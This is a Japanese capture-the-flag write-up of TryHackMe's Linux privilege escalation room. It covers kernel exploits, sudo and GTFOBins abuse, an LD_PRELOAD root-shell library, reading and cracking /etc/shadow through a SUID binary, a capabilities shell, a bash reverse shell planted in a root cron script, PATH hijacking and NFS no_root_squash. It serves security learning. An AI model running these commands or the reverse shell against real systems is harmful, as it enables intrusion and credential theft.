はじめに
この記事は、TryHackMeの "Linux Priviledge Escalation" のWriteupです。
Linuxのローカル権限をroot権限に昇格させる方法を学んでいきましょう!
Task1-4: Enumeration
ターゲットシステムに侵入したあと、権限昇格を行うためにはシステムの情報を列挙して調査する必要がある。
調査に利用できるコマンドがまとまっている章だが、Linuxの基礎コマンドが多いため、下記にまとめている。
マシンへの接続
侵入できていることが前提なのでssh接続でターゲットマシンに侵入して権限昇格を行っていく。
$ ssh karen@x.x.x.x
Task5: Kernel Exploits
カーネルの脆弱性を突いて権限昇格を行う手法。
Kernelとは
OSの"核"となるシステムのこと。
いろいろなOSがありますが、Ubuntu, Kali Linux, DebianなどはLinux Kernelを共通部分として持っている。
- カーネルバージョンを特定してエクスプロイトコードを検索
- コードを実行する
という流れで進める。ひとまずターゲットマシンに接続した状態でカーネルのバージョンを調べよう。
$ cat /proc/version
Linux version 3.13.0-24-generic (buildd@panlong) (gcc version 4.8.2 (Ubuntu 4.8.2-1
9ubuntu1) ) #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014
カーネルのバージョンが 3.13.0-24-generic
らしいので権限昇格に使えそうなコードがないか検索する。
"3.13.0-24-generic Exploit"
で検索すると、エクスプロイトコードを発見!
C言語で書かれている。
この ExploitDB というサイトは様々なエクスプロイトコードをまとめているサイトなので覚えておくと良い。
攻撃用マシンに戻り、エクスプロイトする実行ファイルを作成していく。
nanoエディタでコピペしてファイルを保存し、実行ファイル "exploit" を作成。
(vimが好きだけどnanoしかなかった)
$ nano exploit.c
$ gcc exploit.c -o exploit -masm=intel -w
このエクスプロイトファイルをターゲットマシンに送るために、サーバを立てておく。
root@ip-10-10-162-171:~# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.236.15 - - [05/Feb/2024 05:40:53] "GET /exploit HTTP/1.1" 200 -
ターゲットマシンに移り、攻撃用マシンから実行ファイルをダウンロード!
$ wget http://10.10.162.171:8000/exploit
--2024-02-05 00:40:54-- http://10.10.162.171:8000/exploit
Connecting to 10.10.162.171:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 13304 (13K) [application/octet-stream]
Saving to: ‘exploit’
100%[=========================================>] 13,304 --.-K/s in 0s
2024-02-05 00:40:54 (346 MB/s) - ‘exploit’ saved [13304/13304]
実行するとrootに権限昇格できる。
$ ./exploit
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# whoami
root
無事、rootしか見ることが出来ないファイルの中からフラグが取得できました。
root権限付与に気をつけて
前述の Kernel Exploit は、OSアップデートを怠っていることによって生まれる脆弱性でした。ここから先は、不用意にroot権限を付与する (つまり設定ミス)ことによって生まれる脆弱性を学んでいきます。
ユーザ、コマンド、ジョブ、プロセス等に不用意にroot権限を付与していないでしょうか?そのまま放置していると権限昇格されてしまうリスクがありますよ!という内容になっています。
Task6: Sudo
sudoコマンドとは
一般ユーザーに対してコマンド単位でroot権限を与える仕組み。
sudo権限が不用意に付与されているコマンドを悪用して権限昇格する手法がある。
sudo -l コマンドでsudo権限が与えらえているコマンドが分かる。
$ sudo -l
User karen may run the following commands on ip-10-10-92-81:
(ALL) NOPASSWD: /usr/bin/find
(ALL) NOPASSWD: /usr/bin/less
(ALL) NOPASSWD: /usr/bin/nano
結果を見るとfindが怪しい。
下記サイトで、構成が間違っている場合に実行できる権限昇格の方法が検索可能なので調べるとfindコマンドにはかなりの権限昇格の方法があるよう。
https://gtfobins.github.io/gtfobins/find/
そのまま実行したらあっけなく権限昇格出来てしまった!
$ sudo find . -exec /bin/sh \; -quit
(意味:現在のディレクトリからファイルを検索し、最初に見つかったファイルに対してシェルを起動しfindを終了する)
# whoami
root
Q.flag2.txtからフラグを取得せよ
root権限を得たので閲覧できないディレクトリから無事発見しフラグを取得。
# find / -type f -name "flag2.txt"
/home/ubuntu/flag2.txt
# cat /home/ubuntu/flag2.txt
THM-0000000000
Q. frankのパスワードのハッシュは何か
調べると /etc/shadow の : で区切られた2番目がハッシュ化されたパスワードということで、下記コマンドを実行した。
# cat /etc/shadow | grep frank | cut -d ":" -f2
$6$2.sUUDsOLIpXKxcr$eImtgFExyr2ls4jsghdD3DHLHHP9X50Iv.jNmwo/BJpphrPRJWjelWEz2HH.joV14aDEwW1c3CahzB1uaqeLR1
Q.nmapをroot権限で実行できる場合、権限昇格するためのコマンドは何か
これも先ほどのサイトでnmapで検索したところすぐわかった。
https://gtfobins.github.io/gtfobins/nmap/
$ sudo nmap --interactive
LD_PRELOADの悪用
sudo -lを実行して、env_keep+=LD_PRELOADと書かれている場合は、環境変数を悪用することで、以下の方法でroot権限を持つシェルが実行できる。
user@debian:~$ sudo -l
Matching Defaults entries for user on this host:
env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH
LD_PRELOADとは、Linuxの環境変数の1つで、任意のプログラムが共有ライブラリを使用することを可能にする機能。特定のライブラリをロードさせておいて、既存関数を上書きさせることなどが出来る。
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
findであればsudoを実行できる場合、この環境変数でroot権限を持つシェルをプリロードしたうえでfindを実行すればシェルに入れる。
$ gcc -fPIC -shared -o shell.so shell.c -nostartfiles
$ sudo LD_PRELOAD=/home/tmp/shell.so find
# whoami
root
Task7: SUID
ファイルに与えられているSUID権限を悪用して権限昇格する手法。
Q. user2のパスワードは何か?
今回のマシンは、前回のように sudo -l を実行してもsudo権限が与えられているコマンドが見当たらなかった。
SUIDの脆弱性がないか調査するため、sビット が設定されているファイルを表示するコマンドを実行する。
$ find / -perm -u=s -type f 2>/dev/null | awk -F'/' '{print $NF}' | sort
at
base64
chfn
(略)
CTFOBinsの下記タブから SUID を選択し、SUIDの脆弱性を持ったファイルが含まれていないか照らし合わせて確認する。
https://gtfobins.github.io/#+suid
base64 にSUIDの脆弱性があるようだ。
$ base64 /etc/shadow | base64 --decode > shadow.txt
$ base64 /etc/passwd | base64 --decode > password.txt
を実行するとroot権限でファイルの中身が見れた。これを持ち出すためにcrackというフォルダに入れておく。
sshから抜けてローカルに戻り、下記コマンドでcrackフォルダを持ってくる。
# scp -r karen@10.10.134.221:/tmp/crack /root
john the ripperを使ってパスワードクラックを行う。
https://qiita.com/y-araki-qiita/items/cda417e49108eee1fb7b
# unshadow passwd.txt shadow.txt > unshadow.txt
# john unshadow.txt
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/opt/john/password.lst
test123 (gerryconway)
Password1 (karen)
Password1 (user2)
3g 0:00:00:19 DONE 2/3 (2024-02-06 03:18) 0.1522g/s 326.4p/s 534.4c/s 534.4C/s password..Skippy
# john unshadow.txt --show
gerryconway:test123:1001:1001::/home/gerryconway:/bin/sh
user2:***Answer***:1002:1002::/home/user2:/bin/sh
karen:Password1:1003:1003::/home/karen:/bin/sh
3 password hashes cracked, 0 left
パスワードが3件クラックでき、user2のパスワードが入手できた。
Q. flag3.txtからフラグを取得せよ
流れ的にuser2でログインすれば見れそう。
$ find -type f -name flag3.txt 2> /dev/null
./home/ubuntu/flag3.txt
$ base64 ./home/ubuntu/flag3.txt | base64 --decode
THM-******
見れた!
Task8: Capabilities
Capabilities(機能)という権限昇格の手法。
Capabilitiesとは、rootユーザーの全権限を細分化し、特定の機能だけを個々のプログラムに割り当てることができるセキュリティ機能のこと。
プロセスやプログラム単位で必要な権限を付与することが可能であることを悪用する。
Q. flag4.txtからフラグを取得せよ
権限がないので下記手順で権限昇格を行ってフラグを取得する。
getcap
getcap コマンドを使うと、どのファイルが追加の権限を持っているか確認することが出来る。
$ getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/home/karen/vim = cap_setuid+ep
/home/ubuntu/view = cap_setuid+ep
GTFObinsで調べてみるとvimにCapabilitiesの脆弱性があるようだ。
pythonかpython3がターゲットマシンにないと動かない。
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
vim上でrootのシェルが立ち上がった・・・(興奮)
# whoami
root
# find / -type f -name flag4.txt
/home/ubuntu/flag4.txt
# cat /home/ubuntu/flag4.txt
THM-******
取得できました。
Task9: Cron Jobs
cronを悪用した権限昇格の手法について。
cronジョブは、/etc/crontab
で設定されている。
$ cat /etc/crontab
(中略)
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root /antivirus.sh
* * * * * root antivirus.sh
* * * * * root /home/karen/backup.sh
* * * * * root /tmp/test.py
下の4行を見ると、毎分実行されているファイルが存在することが分かる。
このファイルはrootで毎回実行されるのでリバースシェルを仕込むことが出来れば権限昇格できそうだ。
完全なパスが定義されていないようなantivirus.sh
の場合はcrontabのパスからファイルが探されるようだが、パスの中には書き込める場所がなかった。
/home/karen/backup.sh
は書き込めるようだったので一番最後にコードを仕込む。
#!/bin/bash
cd /home/admin/1/2/3/Results
zip -r /home/admin/download.zip ./*
+ /bin/bash -i >& /dev/tcp/(攻撃サーバIP)/7000 0>&1
ちなみに仕込んだリバースシェルの意味は次の通り。
/bin/bash -i : 対話型シェルを起動
>& : 標準出力と標準エラー出力を結合
/dev/tcp/(IP)/(port) : bashの組み込み機能でtcp接続できる
0>&1 : 標準入力を標準出力にリダイレクト
アタックサーバで通信を待つ
# nc -nlvp 7000
通信が来ないので調べるとbackup.shの権限が足りないので変更。
# nc -nlvp 7000
Listening on [0.0.0.0] (family 0, port 7000)
Connection from 10.10.121.182 56226 received!
bash: cannot set terminal process group (13274): Inappropriate ioctl for device
bash: no job control in this shell
root@ip-10-10-121-182:~# whoami
whoami
root
root@ip-10-10-121-182:~#
無事昇格出来ました!
Q. flag5.txtからフラグを取得せよ
権限昇格したのですぐ取得できた。
# find / -type f -name flag5.txt
find / -type f -name flag5.txt
/home/ubuntu/flag5.txt
# cat /home/ubuntu/flag5.txt
cat /home/ubuntu/flag5.txt
THM-*******
Q. Mattのパスワードは何か
Task7のときと同じ方法で持ち出す。
-
/etc/passwd
と/etc/shadow
をcrackフォルダにコピー - 権限を緩くしてkarenがアクセス可能なフォルダに移動させる
- ローカルに戻り、karenの権限でcrackフォルダをローカルに保存
- JohnTheRipperでパスワードクラック
無事パスワードが取得できました。
Task10: PATH
上記でピンと来ない人は以下の記事を読んでおくと良いでしょう。
ls や cd などのコマンドもただの実行ファイルに過ぎなくて、それをPATHを利用して探して実行しているだけ なんですよね。C言語とかで ls などのコマンドを自作することが出来るので興味ある方はぜひ。(わたしは42tokyoの課題でやりました)
勉強したてのときにこのPATHを書き換えてしまって、lsやcdを含むすべてのコマンドが出来なくなって泣きそうになったことがありました(笑)
Q. 書き込み可能なファイルで怪しいものはどれか
$ find / -writable -type d 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
## grep -v proc -- /procディレクトリは仮想ファイルシステムなので除外
## cut -d "/" -f 2,3 -- "/"で区切った2,3番目を取り出す
## sort -u -- ソート&重複除外
dev/mqueue
dev/shm
home/murdoch
run/lock
run/screen
run/user
sys/fs
tmp
tmp/.ICE-unix
tmp/.Test-unix
tmp/.X11-unix
tmp/.XIM-unix
tmp/.font-unix
var/crash
var/tmp
/home/murdoch
と回答。
Q. 環境変数PATHを悪用してflag6.txtからフラグを取得せよ
/home/murdoch
が気になるので移動するとsetuidが設定されている実行ファイルがあった。
$ file test
test: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1724ca90b94176ea2eb867165e837125e8e5ca52, for GNU/Linux 3.2.0, not stripped
setuidが設定されているので、testから呼び出されたコマンドはroot権限で実行できることになる。
$ ./test
sh: 1: thm: not found
testを実行しようとするとthmというコマンドが無いと言われる。
テキストと同様にシェルを起動するコマンドを作成し、thmと名づけることでtestから呼び出されるようにする。
$ echo "/bin/bash" > thm
$ ./test
sh: 1: thm: not found
これでtestを実行すればこのファイルが呼び出されるはずだが、パスが通ってないので呼び出されない。パスを通してコマンドを見つけてもらう。
$ echo $PATH <-- 現在PATHに何が設定されているか?
/usr/bin
$ export PATH=/home/murdoch:$PATH <-- PATHに/home/murdochを追加("パスを通す"という)
$ echo $PATH
/home/murdoch:/usr/bin
もう一度testを実行するとrootに入れてフラグも取得できた。
まとめると、「シェルを起動するthmという名の実行ファイルを、パスを通すことでsuidファイルから実行させた」ということになる。
Task11: NFS
この設定ミスを悪用し、攻撃マシン側のrootでexploitコードを作成し、SUIDを設定したうえで、ターゲットマシン側で実行させる。
Q. no_root_squashが有効なフォルダは何個あるか?
NFSの設定ファイル /etc/exports を確認。
$ cat /etc/exports
(略)
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/home/backup *(rw,sync,insecure,no_root_squash,no_subtree_check)
/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)
/home/ubuntu/sharedfolder *(rw,sync,insecure,no_root_squash,no_subtree_check)
下3つのフォルダにno_root_aquashが設定されていて、悪用できそうだということが分かった。
Q. ターゲットマシンでマウント可能なフォルダは何個あるか?
攻撃マシン側からマウント可能なフォルダを確認。
# showmount -e 10.10.231.250
Export list for 10.10.231.250:
/home/ubuntu/sharedfolder *
/tmp *
/home/backup *
3つあるようだ。どれでもいいのでマウントしてみる。
# mount -o rw (攻撃IP):/tmp /tmp/backup
# ls
(ターゲットマシンのファイルが見える)
ターゲットマシンとマウント出来たので、ここにSUIDが設定された実行ファイルを配置すればroot権限で実行できる。
exploit.cを作成してシェルを起動するコマンドを書く。
int main(){
setgid(0);
setuid(0);
system("/bin/bash");
return 0;
}
コンパイルしてSUIDを設定する。
# gcc exploit.c -o exploit -w
# chmod +s exploit
# ls -l
-rwsr-sr-x 1 root root 8392 Feb 6 10:11 exploit
これをターゲットマシンの方で実行すればroot権限でシェルが起動できる。
Task12: Capstone Challenge
最後のまとめとなるマシン。flag1.txtとflag2.txtを閲覧するのが最終目標。
Kernel Exploitの可能性は?
$ cat /proc/version
Linux version 3.10.0-1160.el7.x86_64 (mockbuild@kbuilder.bsys.centos.org) (gcc version 4.8.5 20150623 (Red Hat 4.8.5-44) (GCC) ) #1 SMP Mon Oct 19 16:18:59 UTC 2020
エクスプロイトコードを発見したけどコンパイル出来ず断念。
SUDOの可能性は?
$ sudo -l
[sudo] password for leonard:
Sorry, user leonard may not run sudo on ip-10-10-128-102.
なさそう…
SUIDの可能性は?
$ find / -perm -u=s -type f 2>/dev/null | awk -F'/' '{print $NF}' | sort
abrt-action-install-debuginfo-to-abrt-cache
at
base64
(略)
またbase64にSUID付与されている!これで任意のファイルが閲覧可能ですね。
とりあえずパスワードクラックしておこう。
JohnTheRipperでmissyというユーザのパスワードが分かったのでログインしてみる。
[missy@ip-10-10-46-21 ~]$ find / -type f -name flag*.txt 2>/dev/null
/home/missy/Documents/flag1.txt
[missy@ip-10-10-46-21 ~]$ cat /home/missy/Documents/flag1.txt
THM-**********
見れてしまった!笑
おそらくmissyで調査してrootに権限昇格するとflag2.txtが見れるんだろうな。
いろいろ試していく。
SUDOの可能性は?
$ sudo -l
User missy may run the following commands on ip-10-10-46-21:
(ALL) NOPASSWD: /usr/bin/find
なんとmissyさん、findにsudo権限を持っていた…
[missy@ip-10-10-46-21 ~]$ sudo find . -exec /bin/sh \; -quit
sh-4.2# whoami
root
sh-4.2# find / -type f -name flag2.txt 2>/dev/null
/home/rootflag/flag2.txt
sh-4.2# cat /home/rootflag/flag2.txt
THM-********
簡単に取得できました。ちょっと物足りなかったかな、、、
まとめ
どの脆弱性があるか調査するためのコマンドメモ
Kernel Exploit
$ cat /proc/version
SUDO
$ sudo -l
SUID
$ find / -perm -u=s -type f 2>/dev/null | awk -F'/' '{print $NF}' | sort
Capabilities
$ getcap -r / 2>/dev/null
CronJobs
$ cat /etc/crontab
--> rootで実行できるcronjobを書き換えられるか
PATH
$ find / -writable -type d 2>/dev/null | grep -v proc | sort -u
--> 書き込み可能なディレクトリはあるか
NFS
$ cat /etc/export
--> no_root_squashが有効になっているか確認
$ showmount -e (ターゲットIP)
あとがき
Linuxの復習になって良いコースでした!
権限昇格とても楽しいです、、、
また、守る側としては、権限昇格されないように以下に注意していきましょう。
よく言われていることですが実際に体験して身に染みて重要性がわかりました。
- OSアップデートしよう
- 設定ミスに気を付けよう
- 不用意に権限を与えないようにしよう
今回は全部手打ちでコマンド実行して調査したので、次はなにかツールを使ってみたいです!